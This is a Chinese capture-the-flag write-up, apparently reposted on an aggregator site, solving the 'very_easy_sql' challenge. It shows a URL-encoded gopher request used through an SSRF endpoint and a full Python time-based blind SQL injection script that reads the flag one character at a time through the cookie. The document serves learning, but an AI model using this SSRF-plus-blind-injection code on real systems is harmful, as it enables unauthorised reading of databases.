[CTF/网络安全] 攻防世界 very

您所在的位置:网站首页 sql注入盲注脚本 [CTF/网络安全] 攻防世界 very

[CTF/网络安全] 攻防世界 very

2024-02-07 11:07| 来源: 网络整理| 查看: 265

姿势

在这里插入图片描述 登录处直接注入会提示you are not an inner user, so we can not let you have identify~

查看源代码发现use.php,访问后猜测该题为基于ssrf漏洞的sql注入:

在这里插入图片描述 先在登录处抓包判断注入参数:

在这里插入图片描述

不难判断注入点为cookie

因此我们可构造含有gopher协议的盲注脚本,通过对use.php界面发送请求来获取flag。具体实现的方法是通过构造不同的poc来进行注入攻击,并利用时间延迟判断是否成功注入。

gopher协议的相关知识点参考:

[网络安全] gopher协议原理、语法及利用总结

我们先构造一个gopher协议:

gopher://127.0.0.1:80/_GET /index.php HTTP/1.1 Host: localhost:80 Connection: close Content-Type: application/x-www-form-urlencoded Cookie: this_is_your_cookie={bs};

将其进行URL编码后得到:

gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250a Host%3A%20localhost%3A80%250d%250a Connection%3A%20close%250d%250a Content-Type%3A%20application%2fx-www-form-urlencoded%250d%250a Cookie%3A%20this%5Fis%5Fyour%5Fcookie%3D{bs}%3B%250d%250a

其中%0D 和 %0A 分别表示回车符和换行符

接着构造盲注脚本:

import requests import time import base64 url = "http://61.147.171.105:62477/use.php?url=" flag = "" for pos in range(1, 50): for i in range(33, 127): poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(i) + ",sleep(2),1) # " #在每次循环中,首先构造了一个poc,使用联合查询来判断特定位置的字符是否符合条件。 bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8") final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a" #然后将poc进行base64编码,并构造最终的请求URL。 t1 = time.time() res = requests.get(url + final_poc) t2 = time.time() #接着,通过发送请求并计算时间延迟来判断是否成功注入。 if (t2 - t1 > 2): flag += chr(i) print(flag) break #如果注入成功,就将满足条件的字符添加到flag中。 print(flag) #然后,遍历每个位置和每个ASCII字符,进行注入攻击并逐步构建flag。

最终即可得到flag:

在这里插入图片描述

总结

以上为[CTF/网络安全] 攻防世界 very_easy_sql 解题详析,考察gopher协议、ssrf漏洞sql注入、盲注脚本等姿势及知识点,读者可躬身实践。

我是秋说,我们下次见。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3